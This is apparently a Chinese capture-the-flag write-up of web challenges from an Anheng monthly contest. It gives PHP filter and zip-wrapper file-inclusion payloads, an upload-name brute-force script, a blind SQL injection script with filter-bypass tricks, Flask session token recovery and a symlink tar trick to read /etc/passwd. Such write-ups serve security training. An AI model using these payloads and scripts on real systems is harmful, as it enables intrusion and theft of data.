安恒11月月赛周周练writeup

前言

11月月赛 完美错过时间,正好有周周练,基本都是一样月赛的web,记录下write up

手速要快

这题是10月月赛中的一题,直接看我上次的writeup:安恒月赛(十)web-2题writeup,这里不重复了

image_up

访问主页:http://101.71.29.5:10007/login.php

安恒11月月赛周周练writeup_第1张图片
image.png

随意输入username和password登陆,

安恒11月月赛周周练writeup_第2张图片
image.png

随意尝试上传了文件,好像只能jpg结尾,上传后无回显任何内容。

陷入僵局……发现url:http://101.71.29.5:10007/index.php?page=upload 有点意思

page=upload当前页应该是page参数来控制的,当前为upload.php 而php没有显示。

伪协议

尝试用伪协议读取:

/index.php?page=php://filter/read=convert.base64-encode/resource=index

base64 decode下

index.php

string stristr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] )

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

参数

  • haystack

    在该字符串中查找。

  • needle

    如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。

  • before_needle

    若为 TRUE,strstr() 将返回 needlehaystack 中的位置之前的部分(不包括 needle)。

参数 needlehaystack 将以不区分大小写的方式对待。

返回值

返回匹配的子字符串。如果 needle 未找到,返回 FALSE

如果page中带有..就不能进入if了

.php是自动加上的,我们再把login.php读下

login.php





  
  Login Form

    

  



      







接着读upload

upload.php





  
  Upload Form

    

  



      






PS:end()array 的内部指针移动到最后一个单元并返回其值。

看脚本已经很明白了,文件名我们是可控的,再加之我们可以用page参数包含,但是不能向上包含,所以得配合zip伪协议来getshell,一步一步来,

  1. 上传 后缀.jpg的zip压缩包(配合zip伪协议)
  2. 利用脚本跑到我们的上传后文件
  3. 包含getshell

跑filename脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#    @Author:iSk2y

import requests
import hashlib
import time

def filename_md5(t):
    m = hashlib.md5()
    m.update(('test' + str(t)).encode())
    return m.hexdigest()

url = 'http://101.71.29.5:10007/'

files = {
    'image': ('test.jpg', open('test.jpg', 'rb'),'multipart/form-data')
}

upload_time = int(time.time()+8*3600)
r = requests.post(url=url + 'upload.php', files=files)
for i in range(upload_time-50, upload_time+50):
    path = url + 'uploads/' + filename_md5(i) + '.jpg'
    
    code = requests.get(path).status_code
    if code == 200:
        print(path)
        break

这里有个坑,服务器时间和我们本地时间差了8个小时。。。我去,。。。

得到文件名:http://101.71.29.5:10007/uploads/53510951c66ca846465c5c81e085ac48.jpg

利用zip伪协议

/index.php?page=zip://./uploads/bf6bcbd472975518ed9dbf1ef021f251.jpg%23test
安恒11月月赛周周练writeup_第3张图片
image.png

Mark

伪协议知识点整理

好黑的名单

看样子应该是注入了,而且黑名单过滤了很多关键词应该

url:http://101.71.29.5:10008/show.php?id=1

测试后得到信息:

  1. id=1 id=2 id=3 有正常记录
  2. 正常返回页面中内容有 郑州烩面的价钱为10
安恒11月月赛周周练writeup_第4张图片
image.png
  1. 错误返回页面中内容为 想让我下面给你吃?
安恒11月月赛周周练writeup_第5张图片
image.png
  1. 遇到黑名单的词 返回内容为
安恒11月月赛周周练writeup_第6张图片
image.png
  1. 服务器400错误
安恒11月月赛周周练writeup_第7张图片
image.png

基本判断:

  1. 内容为 :郑州烩面的价钱为10 是正常结果
  2. 内容为 :想让我下面给你吃 是错误结果
  3. 内容为 :这么坏?想让我下面给你吃吗?XD 是遇到黑名单
  4. 400错误 :暂不确定额

测试了很多,很多都在黑名单中,如

',*, ,union,like,=,substr,left……

有错误和正确状态返回,盲注应该是可以采用的,但是比较符很多都被ban了,后来看wp说,这里要用到between and,还有regexp也能用(可能是非预期解)

mysql> select database();
+------------+
| database() |
+------------+
| practise   |
+------------+
1 row in set (0.00 sec)

mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> select database() between 'p' and 'z';
+--------------------------------+
| database() between 'p' and 'z' |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'q' and 'z';
+--------------------------------+
| database() between 'q' and 'z' |
+--------------------------------+
|                              0 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'pr' and 'z';
+---------------------------------+
| database() between 'pr' and 'z' |
+---------------------------------+
|                               1 |
+---------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'ps' and 'z';
+---------------------------------+
| database() between 'ps' and 'z' |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set (0.00 sec)

between and的用法如上,还有个小特性,如果第n位与最终值相同,比较的是n+1位。

那就写盲注脚本如下

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#    @Author:iSk2y

import requests
import string
import binascii

c = ','+string.digits + string.ascii_lowercase + '{|}~'
# 0123456789abcdefghijklmnopqrstuvwxyz
url = 'http://101.71.29.5:10008/show.php'
res = ''

# 不知道要跑的内容到底有多长 50吧
for len in range(1,50):
    # 循环每个字符 
    for i in c[::-1]:
        diff = '0x' + binascii.b2a_hex((res + i).encode()).decode()
        # 库名: web  web的hex是0x776562
        # payload = '?id=1 and (select database() between {0} and {1})'.format(diff,hex(ord('z')))
        
        # 表名为: admin,flaggg,menu  flaggg的hex是0x666C61676767
        # payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT(table_name) FROM information_schema .TABLES WHERE TABLE_SCHEMA between 0x776562 and 0x776562) between {0} and {1})'.format(diff,hex(ord('~')))
        
        # 字段名: id,f1agg
        # payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT(column_name) FROM information_schema .COLUMNS WHERE TABLE_NAME between 0x666C61676767 and 0x666C61676767) between {0} and {1})'.format(diff,hex(ord('~')))
        
        payload = '?id=1 and (select (select f1agg FROM web.flaggg) between {0} and {1})'.format(diff,hex(ord('z')))
        # print(payload)
        payload = '%0A'.join(payload.split(' '))
        # print(payload)

        r = requests.get(url=url + payload)
        if '烩面' in r.text:
            # 有 价钱 就代表是正确
            res += i 
            # print(res)
            break
        elif '下面' in r.text:
            # 代表错误
            continue
        else:
            print(r.text)
    print(res)

安恒11月月赛周周练writeup_第8张图片
image.png
安恒11月月赛周周练writeup_第9张图片
image.png
安恒11月月赛周周练writeup_第10张图片
image.png

flag{5d6352163c30ba51f1e2c0dd08622428}

interesting-web

flask暂时还不太熟悉,看了官wp,这题是根据cookie中session的token内容来找回admin的密码。admin可以登录后上传tar包内含软连接jpg图片,flag就在/etc/passwd 所以制作软连接时链向它就好了。

好吧是我太菜,第一次见识这个姿势。。

先走通整个流程后,看找回密码的点。

找回密码会把token发送到你注册时候的ip地址,可以自己测试下,最好准备好外网的ip。

而这个token其实是可以计算出来的,在访问reset时,响应response会发送set-cookie,

安恒11月月赛周周练writeup_第11张图片
image.png

将session base64decode一下

eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPR05rWkRRM1lqSmpORFEzT1RVM05XWmlORFJoT0dNek5UUXpPV1F3TjJJPSJ9LCJ1c2VybmFtZSI6InRlc3QyIn0

{
  "login": true,
  "token": {
    " b": "OGNkZDQ3YjJjNDQ3OTU3NWZiNDRhOGMzNTQzOWQwN2I="
  },
  "username": "test2"
}


再将b键的内容base64decode下

OGNkZDQ3YjJjNDQ3OTU3NWZiNDRhOGMzNTQzOWQwN2I=

8cdd47b2c4479575fb44a8c35439d07b

下面这个其实就是发送给ip的token值,可以和网站发送过来的比对下。那么按照这个方法去找回admin的密码

找回密码后就可以上传tar包了

ln -s /etc/passwd 2.jpg

tar cvfp test.tar 2.jpg

安恒11月月赛周周练writeup_第12张图片
image.png
安恒11月月赛周周练writeup_第13张图片
image.png

flag{5be43c58a33a867cb11975587f8edf33}

Mark

  • Flask
  • 软链接相关利用

还有几题后续更新……

你可能感兴趣的:(安恒11月月赛周周练writeup)